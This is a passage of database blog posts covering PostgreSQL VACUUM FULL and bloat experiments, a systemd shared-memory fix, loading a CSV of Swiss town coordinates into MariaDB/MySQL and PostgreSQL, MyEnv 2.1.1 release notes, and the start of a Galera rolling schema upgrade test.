 tab_siz | tab_siz_prtty | idx_siz | idx_siz_prtty | tab_and_idx_siz | tab_and_idx_siz_prtty | tot_rel_siz | tot_rel_siz_prtty
------------+---------------+-----------+---------------+-----------------+-----------------------+-------------+-------------------
 1963417600 | 1872 MB | 376856576 | 359 MB | 2340274176 | 2232 MB | 2340798464 | 2232 MB

Then we want to know where these files can be found in the file system:

postgres=# SELECT oid AS db_oid FROM pg_database WHERE datname = current_database();
 db_oid
--------
 5

postgres=# SELECT oid AS table_oid, relname, relnamespace, relfilenode
 FROM pg_class WHERE relname = 'tracking';
 table_oid | relname | relnamespace | relfilenode
-----------+----------+--------------+-------------
 40965 | tracking | 2200 | 40965

postgres=# SELECT i.indexrelid::regclass as index_name, i.indexrelid as index_oid
 FROM pg_index i
 JOIN pg_class c ON i.indrelid = c.oid
 WHERE c.relname = 'tracking';
 index_name | index_oid
---------------+-----------
 tracking_pkey | 40970

postgres=# SELECT pg_relation_filepath('tracking');
 pg_relation_filepath
----------------------
 base/5/40965

Table and index size in the file system:

$ ls -ltr 40965* 40970*
-rw------- 1 mysql mysql 40960 Feb 7 18:33 40965_vm
-rw------- 1 mysql mysql 499712 Feb 7 18:33 40965_fsm
-rw------- 1 mysql mysql 889675776 Feb 7 18:34 40965.1
-rw------- 1 mysql mysql 1073741824 Feb 7 18:34 40965
-rw------- 1 mysql mysql 376856576 Feb 7 18:35 40970

*_fsm means “free space map”
*_vm means “visibility map”
*.1 means 2nd segment of the object (table or index)

PostgreSQL seems to work with segments of 1 Gbyte by default and, unlike MariaDB/MySQL (INFORMATION_SCHEMA), knows exactly how large its files are. And the discrepancy from above (between tot_rel_siz and tab_and_idx_siz) can be explained by the fsm and vm files.

The PostgreSQL equivalent of the MariaDB/MySQL OPTIMIZE TABLE is the VACUUM FULL command:

postgres=# VACUUM FULL tracking;

$ ls -ltr
-rw------- 1 mysql mysql 40960 Feb 7 18:39 40965_vm
-rw------- 1 mysql mysql 499712 Feb 7 18:39 40965_fsm
-rw------- 1 mysql mysql 1073741824 Feb 7 18:39 40965
-rw------- 1 mysql mysql 889675776 Feb 7 18:39 40965.1
-rw------- 1 mysql mysql 1073741824 Feb 7 18:39 40972
-rw------- 1 mysql mysql 889675776 Feb 7 18:39 40972.1
-rw------- 1 mysql mysql 0 Feb 7 18:39 40975

...

-rw------- 1 mysql mysql 49152 Feb 7 18:39 2704
-rw------- 1 mysql mysql 32768 Feb 7 18:39 2703
-rw------- 1 mysql mysql 32768 Feb 7 18:39 2696
-rw------- 1 mysql mysql 65536 Feb 7 18:39 2674
-rw------- 1 mysql mysql 81920 Feb 7 18:39 2673
-rw------- 1 mysql mysql 98304 Feb 7 18:39 2659
-rw------- 1 mysql mysql 139264 Feb 7 18:39 2658
-rw------- 1 mysql mysql 24576 Feb 7 18:39 2619_fsm
-rw------- 1 mysql mysql 163840 Feb 7 18:39 2619
-rw------- 1 mysql mysql 106496 Feb 7 18:39 2608
-rw------- 1 mysql mysql 491520 Feb 7 18:39 1249
-rw------- 1 mysql mysql 122880 Feb 7 18:39 1247
-rw------- 1 mysql mysql 32768 Feb 7 18:39 2662
-rw------- 1 mysql mysql 114688 Feb 7 18:39 1259
-rw------- 1 mysql mysql 16384 Feb 7 18:39 3455
-rw------- 1 mysql mysql 49152 Feb 7 18:39 2663
-rw------- 1 mysql mysql 1073741824 Feb 7 18:39 40972
-rw------- 1 mysql mysql 889675776 Feb 7 18:39 40972.1
-rw------- 1 mysql mysql 376864768 Feb 7 18:39 40975
-rw------- 1 mysql mysql 0 Feb 7 18:39 40965
-rw------- 1 mysql mysql 0 Feb 7 18:39 40970

The first thing you notice is that PostgreSQL touches quite a few files and the ‘free space map’ file has disappeared. In contrast to MariaDB/MySQL, the table segments have remained the same size. You can also see that the old table has ‘disappeared’ (40965, 40970) and a new one has been created (40972 and 40975). The VACUUM FULL command in PostgreSQL also creates a copy of the data, as in MariaDB/MySQL.

postgres=# SELECT pg_relation_size('tracking') AS tab_siz
 , pg_size_pretty(pg_relation_size('tracking')) AS tab_siz_prtty
 , pg_indexes_size('tracking') AS idx_siz
 , pg_size_pretty(pg_indexes_size('tracking')) AS idx_siz_prtty
 , pg_relation_size('tracking') + pg_indexes_size('tracking') AS tab_and_idx_siz
 , pg_size_pretty(pg_relation_size('tracking') + pg_indexes_size('tracking')) AS tab_and_idx_siz_prtty
 , pg_total_relation_size('tracking') AS tot_rel_siz
 , pg_size_pretty(pg_total_relation_size('tracking')) AS tot_rel_siz_prtty
;
 tab_siz | tab_siz_prtty | idx_siz | idx_siz_prtty | tab_and_idx_siz | tab_and_idx_siz_prtty | tot_rel_siz | tot_rel_siz_prtty
------------+---------------+-----------+---------------+-----------------+-----------------------+-------------+-------------------
 1963417600 | 1872 MB | 376864768 | 359 MB | 2340282368 | 2232 MB | 2340282368 | 2232 MB

The following query helps to understand which other files/objects have been created:

postgres=# SELECT c.oid, c.relname, ns.nspname
FROM pg_class AS c
JOIN pg_namespace AS ns ON ns.oid = c.relnamespace
WHERE c.oid IN (2704, 2703, 2696, 2674, 2673, 2659, 2658, 2619, 2608, 1249, 1247, 40972, 2662, 1259, 3455, 2663, 40975, 40965, 40970)
;
 oid | relname | nspname
-------+-----------------------------------+------------
 40965 | tracking | public
 40970 | tracking_pkey | public
 2619 | pg_statistic | pg_catalog
 1247 | pg_type | pg_catalog
 2703 | pg_type_oid_index | pg_catalog
 2704 | pg_type_typname_nsp_index | pg_catalog
 2658 | pg_attribute_relid_attnam_index | pg_catalog
 2659 | pg_attribute_relid_attnum_index | pg_catalog
 2662 | pg_class_oid_index | pg_catalog
 2663 | pg_class_relname_nsp_index | pg_catalog
 3455 | pg_class_tblspc_relfilenode_index | pg_catalog
 2696 | pg_statistic_relid_att_inh_index | pg_catalog
 2673 | pg_depend_depender_index | pg_catalog
 2674 | pg_depend_reference_index | pg_catalog
 1249 | pg_attribute | pg_catalog
 1259 | pg_class | pg_catalog
 2608 | pg_depend | pg_catalog

postgres=# SELECT i.indexrelid::regclass as index_name, i.indexrelid as index_oid, ns.nspname
 FROM pg_index i
 JOIN pg_class c ON i.indrelid = c.oid
 JOIN pg_namespace AS ns ON ns.oid = c.relnamespace
 WHERE c.oid IN (2704, 2703, 2696, 2674, 2673, 2659, 2658, 2619, 2608, 1249, 1247, 40972, 2662, 1259, 3455, 2663, 40975, 40965, 40970)
;
 index_name | index_oid | nspname
-----------------------------------+-----------+------------
 pg_type_typname_nsp_index | 2704 | pg_catalog
 pg_attribute_relid_attnam_index | 2658 | pg_catalog
 tracking_pkey | 40970 | public
 pg_class_relname_nsp_index | 2663 | pg_catalog
 pg_class_tblspc_relfilenode_index | 3455 | pg_catalog
 pg_type_oid_index | 2703 | pg_catalog
 pg_attribute_relid_attnum_index | 2659 | pg_catalog
 pg_statistic_relid_att_inh_index | 2696 | pg_catalog
 pg_depend_depender_index | 2673 | pg_catalog
 pg_depend_reference_index | 2674 | pg_catalog
 pg_class_oid_index | 2662 | pg_catalog

Attempt 1: `NULL` out

Then we also NULL the columns in PostgreSQL. From here on, we save the view of the file system, as PostgreSQL seems to know the file sizes exactly, as we have seen above:

postgres=# UPDATE tracking
SET d0 = NULL, d1 = NULL, d2 = NULL, d3 = NULL, d4 = NULL
 , d5 = NULL, d6 = NULL, d7 = NULL, d8 = NULL, d9 = NULL
;

postgres=# SELECT pg_relation_size('tracking') AS tab_siz
 , pg_size_pretty(pg_relation_size('tracking')) AS tab_siz_prtty
 , pg_indexes_size('tracking') AS idx_siz
 , pg_size_pretty(pg_indexes_size('tracking')) AS idx_siz_prtty
 , pg_relation_size('tracking') + pg_indexes_size('tracking') AS tab_and_idx_siz
 , pg_size_pretty(pg_relation_size('tracking') + pg_indexes_size('tracking')) AS tab_and_idx_siz_prtty
 , pg_total_relation_size('tracking') AS tot_rel_siz
 , pg_size_pretty(pg_total_relation_size('tracking')) AS tot_rel_siz_prtty
;
 tab_siz | tab_siz_prtty | idx_siz | idx_siz_prtty | tab_and_idx_siz | tab_and_idx_siz_prtty | tot_rel_siz | tot_rel_siz_prtty
------------+---------------+-----------+---------------+-----------------+-----------------------+-------------+-------------------
 2695716864 | 2571 MB | 753696768 | 719 MB | 3449413632 | 3290 MB | 3450101760 | 3290 MB

Here we see that the table segments grow massively (+37%), which is called ‘bloat’ in PostgreSQL terminology. The MVCC implementation of PostgreSQL stores both the old and never new version of the row ‘in-place’ directly in the table, in contrast to MariaDB/MySQL which stores the old version in UNDO space and the new row ‘in-place’. The index file also increases significantly (+100%). We need to do more research to find out why this is the case. In addition, a ‘free space map’ is created again (difference between tot_rel_siz and tab_and_idx_siz).

A subsequent VACUUM FULL reduces the table (to 28%) and the index (to 50%) again in relation to the previous size:

postgres=# VACUUM FULL tracking;

postgres=# SELECT pg_relation_size('tracking') AS tab_siz
 , pg_size_pretty(pg_relation_size('tracking')) AS tab_siz_prtty
 , pg_indexes_size('tracking') AS idx_siz
 , pg_size_pretty(pg_indexes_size('tracking')) AS idx_siz_prtty
 , pg_relation_size('tracking') + pg_indexes_size('tracking') AS tab_and_idx_siz
 , pg_size_pretty(pg_relation_size('tracking') + pg_indexes_size('tracking')) AS tab_and_idx_siz_prtty
 , pg_total_relation_size('tracking') AS tot_rel_siz
 , pg_size_pretty(pg_total_relation_size('tracking')) AS tot_rel_siz_prtty
;
 tab_siz | tab_siz_prtty | idx_siz | idx_siz_prtty | tab_and_idx_siz | tab_and_idx_siz_prtty | tot_rel_siz | tot_rel_siz_prtty
-----------+---------------+-----------+---------------+-----------------+-----------------------+-------------+-------------------
 742916096 | 709 MB | 376864768 | 359 MB | 1119780864 | 1068 MB | 1119780864 | 1068 MB

and also in relation to the original size, the table (to 38%) and the index (to 100%) become smaller again. Why the index has remained the same size and only the table has shrunk remains to be investigated…

Experiment 2: Deleting the columns

The columns are then dropped with DROP COLUMN.

postgres=# ALTER TABLE tracking
 DROP COLUMN d0, DROP COLUMN d1, DROP COLUMN d2, DROP COLUMN d3, DROP COLUMN d4
, DROP COLUMN d5, DROP COLUMN d6, DROP COLUMN d7, DROP COLUMN d8, DROP COLUMN d9
;

As the response was immediate, it can be assumed that this operation is also instantaneous. Unfortunately, I couldn’t find anything about this in the PostgreSQL documentation.

Nothing has changed significantly in terms of size, which is actually to be expected with an instant operation. However, the fact that the size did not change after the VACUUM FULL command was a little surprising:

 tab_siz | tab_siz_prtty | idx_siz | idx_siz_prtty | tab_and_idx_siz | tab_and_idx_siz_prtty | tot_rel_siz | tot_rel_siz_prtty
-----------+---------------+-----------+---------------+-----------------+-----------------------+-------------+-------------------
 742916096 | 709 MB | 376864768 | 359 MB | 1119780864 | 1068 MB | 1120010240 | 1068 MB

postgres=# VACUUM FULL tracking;

 tab_siz | tab_siz_prtty | idx_siz | idx_siz_prtty | tab_and_idx_siz | tab_and_idx_siz_prtty | tot_rel_siz | tot_rel_siz_prtty
-----------+---------------+-----------+---------------+-----------------+-----------------------+-------------+-------------------
 742916096 | 709 MB | 376864768 | 359 MB | 1119780864 | 1068 MB | 1119780864 | 1068 MB

Remarks

Locking in PostgreSQL works as follows:

VACUUM Concurrent DML commands are possible similar to the MariaDB/MySQL OPTIMIZE TABLE command. However, the result is not quite the same.
VACUUM FULL causes an ACCESS EXCLUSIVE lock. Similar to the MariaDB/MySQL 5.5 and older OPTIMIZE TABLE command. DML and SELECT commands are NOT permitted.

Sources

Additional attempts

Instead of 0.0, NULL was filled into the columns d0 - d9. The table remained small (tot_rel_siz_prtty = 1068 MB). It is therefore also worth saving NULL instead of dummy values with PostgreSQL.
The columns d0 - d9 were created with DOUBLE PRECISION NOT NULL and the values 0.0 were filled. No effect: The table remained large (tot_rel_siz_prtty = 2232 MB).

This page was translated using deepl.com.

Someone is deleting my shared memory segments!

oli.sennhauser@fromdual.com (Oli Sennhauser) — Sun, 08 Feb 2026 06:27:00 +0100

When we work with PostgreSQL under our myEnv, we regularly get shared memory segment errors. Example:

psql: error: connection to server on socket "/tmp/.s.PGSQL.5433" failed:
FATAL: could not open shared memory segment "/PostgreSQL.4220847662":
No such file or directory

or we see similar messages in the PostgreSQL error log:

ERROR: could not open shared memory segment "/PostgreSQL.4220847662":
No such file or directory

Because I am a MariaDB/MySQL admin, I am not very familiar with shared memory problems (MariaDB/MySQL does not work with shared memory). Fortunately, a search on the Internet led us on the right track (source). It is noted there:

The documentation of systemd states that this only happens for non-system users. Can you check whether your “postgres” user (or whatever you are using) is a system user?

Linux System User

First I had to find out what a system user under Linux actually is. I found an answer here: What’s the difference between a normal user and a system user?.

That is not a technical difference but an organizational decision. E.g. it makes sense to show normal users in a login dialog (so that you can click them instead of having to type the user name) but it wouldn’t to show system accounts (the UIDs under which daemons and other automatic processes run) there.

The LSB standard says: User ID Ranges:

The system User IDs from 0 to 99 should be statically allocated by the system, and shall not be created by applications.
The system User IDs from 100 to 499 should be reserved for dynamic allocation by system administrators and post install scripts using useradd.

On my Ubuntu system it looks like this:

$ grep SYS_ /etc/login.defs
#SYS_UID_MIN 100
#SYS_UID_MAX 999
#SYS_GID_MIN 100
#SYS_GID_MAX 999

This would be correct for the PostgreSQL user:

$ id postgres
uid=130(postgres) gid=142(postgres) groups=142(postgres),116(ssl-cert)

But since the PostgreSQL instance in question runs under our myEnv, that’s different:

$ id dba
uid=1001(dba) gid=1001(dba) groups=1001(dba)

So now we have two options:

We change SYS_UID_MAX and SYS_GID_MAX to 1001 (simple variant).
Or we change the UID and the GID of our user dba to less than 1000.

Simple variant: Change `SYS_UID_MAX` and `SYS_GID_MAX` to 1001

# /etc/login.defs
SYS_UID_MAX 1001
SYS_GID_MAX 1001

To be on the safe side, the machine was rebooted. But that did not help: After a short time, the same errors occur again.

More complicated variant: Changing the `UID` from 1001 to 990

$ cat /etc/passwd
...
polkitd:x:997:997:User for polkitd:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
tomcat:x:999:999:Apache Tomcat:/:/sbin/nologin
oli:x:1000:1000:Oli Sennhauser,,,:/home/oli:/bin/bash
dba:x:1001:1001:DBA user:/home/dba:/bin/bash
...

$ id dba
uid=1001(dba) gid=1001(dba) groups=1001(dba)

To do this, all processes of this user must be stopped!

$ usermod --uid 990 dba
$ groupmod --gid 990 dba

$ find / -user 1001 -exec chown --no-dereference dba {} \;
$ find / -group 1001 -exec chgrp --no-dereference dba {} \;

This seems to have solved the problem!

Additional information

A source mentioned above also recommended setting the following parameters in systemd-logind:

# /etc/systemd/system/systemd-logind.service.d/override.conf
RemoveIPC=no
RuntimeDirectorySize=1%

However, this measure is no longer necessary as it works without this change.

This page was translated using deepl.com.

FromDual Backup and Recovery Manager

oli.sennhauser@fromdual.com (Oli Sennhauser) — Sat, 07 Feb 2026 20:17:00 +0100

Coming soon…

Have also a look at the Backup and Recovery Manager Documentation.

Load CSV files into the database

oli.sennhauser@fromdual.com (Oli Sennhauser) — Fri, 06 Feb 2026 18:04:00 +0100

Recently, I wanted to display the places of residence of the members of my club on a map for a personal gimmick (IGOC members). I knew the addresses of the club members. But not the coordinates of their places of residence.

So I went in search of the coordinates and found what I was looking for at the Federal Office of Topography (swisstopo).

The data is available there as a CSV file. Details here: Swiss town coordinates.

How do I load this data into a database?

Loading the data with MariaDB/MySQL

MariaDB and MySQL have the LOAD DATA INFILE command:

SQL> DROP TABLE IF EXISTS wgs84;

SQL> -- SET GLOBAL local_infile = ON; -- Only needed with MySQL

SQL> CREATE TABLE wgs84 (
 ortschaftsname VARCHAR(32)
, plz4 SMALLINT
, zusatzziffer SMALLINT
, zip_id SMALLINT UNSIGNED
, gemeindename VARCHAR(32)
, bfs_nr SMALLINT
, kantonskuerzel CHAR(2)
, adressenanteil varchar(8)
, e DOUBLE
, n DOUBLE
, sprache VARCHAR(8)
, validity VARCHAR(12)
);

SQL> -- TRUNCATE TABLE wgs84;

SQL> LOAD DATA LOCAL INFILE '/tmp/AMTOVZ_CSV_WGS84/AMTOVZ_CSV_WGS84.csv'
INTO TABLE wgs84
FIELDS TERMINATED BY ';'
LINES TERMINATED BY '\r\n'
IGNORE 1 LINES
;
Query OK, 5713 rows affected
Records: 5713 Deleted: 0 Skipped: 0 Warnings: 0

You can then query the data in the database:

SQL> SELECT * FROM wgs84 ORDER BY ortschaftsname LIMIT 5;
+----------------+------+--------------+--------+--------------+--------+----------------+----------------+-------------------+--------------------+---------+------------+
| ortschaftsname | plz4 | zusatzziffer | zip_id | gemeindename | bfs_nr | kantonskuerzel | adressenanteil | e | n | sprache | validity |
+----------------+------+--------------+--------+--------------+--------+----------------+----------------+-------------------+--------------------+---------+------------+
| Aadorf | 8355 | 0 | 4672 | Aadorf | 4551 | TG | 96.802 % | 8.903193007810433 | 47.491079014637265 | de | 2008-07-01 |
| Aadorf | 8355 | 0 | 4672 | Elgg | 294 | ZH | 3.198 % | 8.89206766645808 | 47.4933781685032 | de | 2008-07-01 |
| Aarau | 5000 | 0 | 2913 | Aarau | 4001 | AG | 99.713 % | 8.048148371736266 | 47.38973523857376 | de | 2008-07-01 |
| Aarau | 5000 | 0 | 2913 | Suhr | 4012 | AG | 0.287 % | 8.059410934099922 | 47.383298214804334 | de | 2008-07-01 |
| Aarau | 5004 | 0 | 2932 | Aarau | 4001 | AG | 100 % | 8.060698546432551 | 47.400587704180744 | de | 2008-07-01 |
+----------------+------+--------------+--------+--------------+--------+----------------+----------------+-------------------+--------------------+---------+------------+
5 rows in set

Or something more precise:

SQL> SELECT ortschaftsname AS city, plz4 AS city_code, e AS lon, n AS lat
 FROM wgs84 WHERE plz4 IN (8280, 4663, 6043);
+-------------+-----------+-------------------+--------------------+
| city | city_code | lon | lat |
+-------------+-----------+-------------------+--------------------+
| Aarburg | 4663 | 7.904271716719409 | 47.321443418782955 |
| Aarburg | 4663 | 7.889249714098425 | 47.313536073562474 |
| Aarburg | 4663 | 7.880309179095798 | 47.31255194439023 |
| Adligenswil | 6043 | 8.364849060491428 | 47.07037816052481 |
| Kreuzlingen | 8280 | 9.173740257895282 | 47.64491046067056 |
| Kreuzlingen | 8280 | 9.159171428030783 | 47.654149879509134 |
| Kreuzlingen | 8280 | 9.204470741840725 | 47.639949130372145 |
+-------------+-----------+-------------------+--------------------+
7 rows in set (0.003 sec)

I will leave it to the reader to clean out the duplicates… :-)

So far so good, now to the finer points::

Differences between MariaDB and MySQL

The procedure described above works perfectly with MariaDB 11.4 and 11.8. There are small differences with MySQL 8.4:

The first error message that prevents loading is this one:

ERROR 3948 (42000): Loading local data is disabled; this must be enabled on both the client and server sides

It can be bypassed relatively easily with the command:

SQL> SET GLOBAL local_infile = ON;

The next attempt will fail as follows:

ERROR 2068 (HY000): LOAD DATA LOCAL INFILE file request rejected due to restrictions on access.

This problem can be solved by starting the MySQL client as follows:

$ mysql --local-infile=1 --user=root test

Sources

MariaDB: LOAD DATA INFILE
MySQL: LOAD DATA Statement

Loading the data with PostgreSQL

PostgreSQL has the command COPY ... FROM:

postgres=# DROP TABLE IF EXISTS wgs84;

postgres=# CREATE TABLE wgs84 (
 ortschaftsname VARCHAR(32)
, plz4 SMALLINT
, zusatzziffer SMALLINT
, zip_id INT
, gemeindename VARCHAR(32)
, bfs_nr SMALLINT
, kantonskuerzel CHAR(2)
, adressenanteil varchar(8)
, e DOUBLE PRECISION
, n DOUBLE PRECISION
, sprache VARCHAR(8)
, validity VARCHAR(12)
);

postgres=# -- TRUNCATE TABLE wgs84;

postgres=# COPY wgs84
FROM '/tmp/AMTOVZ_CSV_WGS84/AMTOVZ_CSV_WGS84.csv'
DELIMITER ';'
CSV HEADER
;
COPY 5713

Here, too, we receive the result as expected in the usual PostgreSQL form:

postgres=# SELECT ortschaftsname AS city, plz4 AS city_code, e AS lon, n AS lat
 FROM wgs84 WHERE plz4 IN (8280, 4663, 6043);
 city | city_code | lon | lat
-------------+-----------+-------------------+--------------------
 Aarburg | 4663 | 7.904271716719409 | 47.321443418782955
 Aarburg | 4663 | 7.889249714098425 | 47.313536073562474
 Aarburg | 4663 | 7.880309179095798 | 47.31255194439023
 Adligenswil | 6043 | 8.36487538940682 | 47.07037794822416
 Kreuzlingen | 8280 | 9.173740257895282 | 47.64491046067056
 Kreuzlingen | 8280 | 9.159171428030783 | 47.654149879509134
 Kreuzlingen | 8280 | 9.204470741840725 | 47.639949130372145
(7 rows)

Sources

PostgreSQL: COPY

Small differences between MariaDB/MySQL and PostgreSQL

Basically, the load command is completely different in the two database worlds.

With MariaDB and PostgreSQL, the commands run “out-of-the-box”. MySQL has two additional security hurdles built in here.

PostgreSQL does not recognise UNSIGNED integer data types, so the next largest data type (INT) must be used, which is a little less space-saving than with MariaDB/MySQL.

Remarks

When we did the same test a few days ago, there was still a loading error. So it seems that the data source has also changed slightly…

I have not found out quickly whether there is an SQL standard for these load commands and if so, whether MariaDB/MySQL or PostgreSQL are standard-compliant here.

And of course there are other ways to get your CSV data into the database…

The tools mariadb-import/mysqlimport are used if you want to do this from the command line. The CSV Storage Engine can also be misused for this purpose (see here for details). An officially supported variant is the MariaDB CONNECT Storage Engine with the CSV type (see here):

SQL> INSTALL SONAME 'ha_connect';

SQL> CREATE TABLE wgs84_fdw
ENGINE = CONNECT
table_type = CSV
file_name='/tmp/AMTOVZ_CSV_WGS84/AMTOVZ_CSV_WGS84.csv'
header = 1
sep_char = ';'
quoted = 0;

SQL> INSERT INTO wgs84 SELECT * FROM wgs84_fdw;

Unfortunately, it looks like the CONNECT Storage Engine will no longer be supported by MariaDB! And the mydumper/myloader tool also seems to be able to handle CSV files.

And of course the whole thing can also be solved using applications…

With PostgreSQL there are the following options:

postgres=# \copy wgs84 FROM '/tmp/AMTOVZ_CSV_WGS84/AMTOVZ_CSV_WGS84.csv' DELIMITER ';' CSV HEADER

then from the shell:

$ psql --user=dba -c "\copy wgs84 FROM '/tmp/AMTOVZ_CSV_WGS84/AMTOVZ_CSV_WGS84.csv' DELIMITER ';' CSV HEADER"

And the variant via the Foreign Data Wrapper (FWD). But I have not tried this:

postgres=# CREATE EXTENSION postgres_fdw;

postgres=# CREATE SERVER foreign_server
 FOREIGN DATA WRAPPER postgres_fdw
 OPTIONS (
 datasource 'CSV:/tmp/AMTOVZ_CSV_WGS84/AMTOVZ_CSV_WGS84.csv',
 format 'CSV'
 )
;

postgres=# CREATE USER MAPPING FOR local_user
 SERVER foreign_server
 OPTIONS (user 'foreign_user', password 'password')
;

postgres=# CREATE FOREIGN TABLE foreign_table (
 id integer NOT NULL,
 data text
)
 SERVER foreign_server
 OPTIONS (schema_name 'some_schema', table_name 'some_table')
;

Addendum

The MariaDB/MySQL data type DOUBLE is called DOUBLE PRECISION in ProsgreSQL.

This page was translated using deepl.com.

MariaDB/MySQL Environment MyEnv 2.1.1 has been released

oli.sennhauser@fromdual.com (Oli Sennhauser) — Fri, 12 Dec 2025 17:43:00 +0100

FromDual has the pleasure to announce the release of the new version 2.1.1 of its popular MariaDB, Galera Cluster and MySQL multi-instance environment MyEnv.

The new MyEnv can be downloaded here. How to install MyEnv is described in the MyEnv Installation Guide.

In the inconceivable case that you find a bug in MyEnv please report it to us by sending an email.

Any feedback, statements and testimonials are welcome as well! Please send them to us.

Upgrade from 1.1.x to 2.0

Please look at the MyEnv 2.0.0 Release Notes.

Upgrade from 2.0.x to 2.1.1

$ sudo -i -u mysql
$ cd ${HOME}/product
$ tar xf /download/myenv-2.1.1.tar.gz
$ rm -f myenv
$ ln -s myenv-2.1.1 myenv

Plug-ins

If you are using plug-ins for showMyEnvStatus create all the links in the new directory structure:

$ cd ${HOME}/product/myenv
$ ln -s ../../utl/oem_agent.php plg/showMyEnvStatus/

Upgrade of the instance directory structure

From MyEnv 1.0 to 2.0 the directory structure of instances has fundamentally changed. Nevertheless MyEnv 2.0 works fine with MyEnv 1.0 directory structures.

Changes in MyEnv 2.1.1

MyEnv

addInstance for PostgreSQL added.
Basic PostgreSQL functionality implemented.
up working now.
stop, start, restart and status implemented for PostgreSQL.
Version extraction for PostgreSQL added.
Function extractVersion rewritten so section config is passed and not basedir any more.
Configuration type mysqld changed to mysql and now also usable for mariadb and postgresql.
New variant of version comment added for MySQL 8.0.
Comment added to my_exec().

MyEnv Installer

mysql/mariadb fork installation implemented and tested.
Example in installMyEnv corrected/improved.
Made nasty warning during installation of new instance go away.

MyEnv Utilities

New script added.
SSL added to monitor.
Slave monitor made MySQL 8+ ready.
checksum_table works now also with tables consisting of protected keywords.
More debugging info added.
All scripts checked by shellcheck.
Missing runtime directory is caught and fixed now.
shellcheck suggestions applied.
checksum_table.sh added.
Utility scripts brought to new state.
Build slave script added.
table diff refactored.
Chunking added.
table_diff is now ready for chunking.
Faster checksum implemented and output shortened.
Row by row crc32 checksum.
Moved the checksum table in its own function.
table_diff.php added.

PostgreSQL

show_create_table.sh for PostgreSQL added.
PostgreSQL files added here until we have a better location.

General

Code clean-up and configuration check added.
Recursive directory removal improved.
rc made unique.
Minor typos fixed.
my.cnf.template cleaned-up and synced with website.
2 bugs with PHP 8.5 fixed.
Libraries updated.
Some return codes can be ignored because Redhat tools return error codes > 100 as OK.

Documentation

Documentation added and ready to start.

Packaging

Distro versions centralized in one place.
Zabbix repo added for Ubuntu 24.04.
Rocky 10 and Debian 11 added.
lxc replaced by incus, distros cleaned-up.
Ubuntu 24.04 and MariaDB 10.11 and 11.4 enabled.
brman as build project added.
glb included in build scripts.
restartContainer implemented.
gid and uid added to pushFileToContainer.
Build cleaned-up.
Build scrips improved.
Container file push and pull added.
Build infrastructure reorganized.
stopContainer and startContainer added.
Container library started.
Debian 10 removed.
Update container script is waiting to avoid infrastructure build failure.
Old package for RPM changed.
install_base separted from mysql_home.
Installation moved from /home/mysql to /opt.
Fix DEB package.
Ubuntu 22.04 added for package build.
Bug in Debian build script fixed.
Ubuntu 24.04 added to build infrastructure.
recreate_build_infrastructure.sh rewritten in PHP.
update_container_templates.sh rewritten in PHP.
Made package build infrastructure more generic.

For subscriptions of commercial use of MyEnv please get in contact with us.

Attribute promotion and demotion in the MariaDB Galera Cluster

oli.sennhauser@fromdual.com (Oli Sennhauser) — Fri, 28 Nov 2025 16:26:48 +0000

In MariaDB master/slave replication there is a feature called attribute promotion/demotion.

Simply put, it is about how the slave behaves or should behave if the master and slave have different column definitions or even a different number of columns or a different sequence of columns.

Use case of the customer

This week we discussed with a customer the case of how he could perform a rolling schema upgrade (RSU) in a Galera cluster.

With previous schema changes he has always had problems, which has led to a total failure of the cluster for several hours.

The customer says that columns are never deleted and new columns are only ever added at the end of a table.

And that it is NOT possible to ensure that there are no more write connections during the rolling schema upgrade.

The PHP ORM framework Doctrine is used.

What does the MariaDB documentation say about this?

The study of the MariaDB documentation did not lead to a conclusive result whether a rolling schema upgrade in the running Galera Cluster operation WITH changes (DML statements) on the schema to be changed (AND the tables to be changed) is supported or not and thus should work or not.

Source: Rolling Schema Upgrade (RSU)

When replicating with different table structures, there is only general information on replication but nothing specific to Galera (whether it works or not):

“Tables on the replica and the primary do not need to have the same definition in order for replication to take place. There can be differing numbers of columns, or differing data definitions and, in certain cases, replication can still proceed.”

Source: Replication When the Primary and Replica Have Different Table Definitions

For the attribute promotion/demotion feature there is a special MariaDB Server configuration parameter that controls the behaviour: slave_type_conversions.

If you read between the lines here, this could also work for Galera Cluster:

“Determines the type conversion mode on the replica when using row-based replication, including replications in MariaDB Galera cluster.”

Source: slave_type_conversions

Test planning

I always make a rough risk assessment for such questions: Frequently used and widely deployed features: Risk of problems is rather low. Rarely used or new features: risk of problems is high! Unfortunately, this assessment is based less on tangible figures and more on experience…

I am not aware of a single MariaDB user who performs rolling schema upgrades during operation. Let alone having a write load on the current schema and the current tables (promotion/demotion attributes). So: Use of rolling schema upgrade x frequency of use of attribute promotion/demotion is very rare and therefore the risk is very high!

As the situation is not clear and the documentation does not provide any clear information, testing was carried out.

To avoid possible already fixed MariaDB bugs the latest MariaDB 11.8.5 LTS version was used.

Special database configuration parameters were used:

slave_type_conversions = 'ALL_NON_LOSSY,ALL_LOSSY'

Our test table looks as usual as follows:

CREATE TABLE `test` (
 `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
 `data` varchar(128) DEFAULT NULL,
 `ts` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
 PRIMARY KEY (`id`)
);

And test data was generated as follows:

INSERT INTO test VALUES (NULL, 'Some data to fill table up', NOW());
... -- 9 x

Commands for monitoring the tests:

SQL> SHOW GLOBAL VARIABLES LIKE 'slave_type_conversions';
SQL> SHOW GLOBAL STATUS LIKE 'wsrep_local_state_comment';
SQL> SHOW CREATE TABLE test<br>G
SQL> CHECKSUM TABLE test;
SQL> SELECT * FROM test;

Testing

Test 1: Attribute promotion with DML remote (on Node C)

This is the simplest case: A column is added and a default value is set. Changes to the table are made on another node:

nodeA> SET SESSION wsrep_OSU_method = 'RSU';
nodeA> ALTER TABLE test ADD COLUMN c1 VARCHAR(64) NOT NULL DEFAULT 'foo';
nodeA> SET SESSION wsrep_OSU_method = 'TOI';

MariaDB error log file:

2025-11-28 9:39:11 0 [Note] WSREP: Member 0.0 (Node A) desyncs itself from group
2025-11-28 9:39:11 0 [Note] WSREP: Shifting SYNCED→DONOR/DESYNCED (TO: 36)
2025-11-28 9:39:11 13 [Note] WSREP: pause
2025-11-28 9:39:11 13 [Note] WSREP: Provider paused at 22db9ea1-cb7b-11f0-b26e-6fbce72757f9:36 (43)
2025-11-28 9:39:11 13 [Note] WSREP: Provider paused at: 36
2025-11-28 9:39:11 13 [Note] WSREP: resume
2025-11-28 9:39:11 13 [Note] WSREP: resuming provider at 43
2025-11-28 9:39:11 13 [Note] WSREP: Provider resumed.
2025-11-28 9:39:11 0 [Note] WSREP: Member 0.0 (Node A) resyncs itself to group.
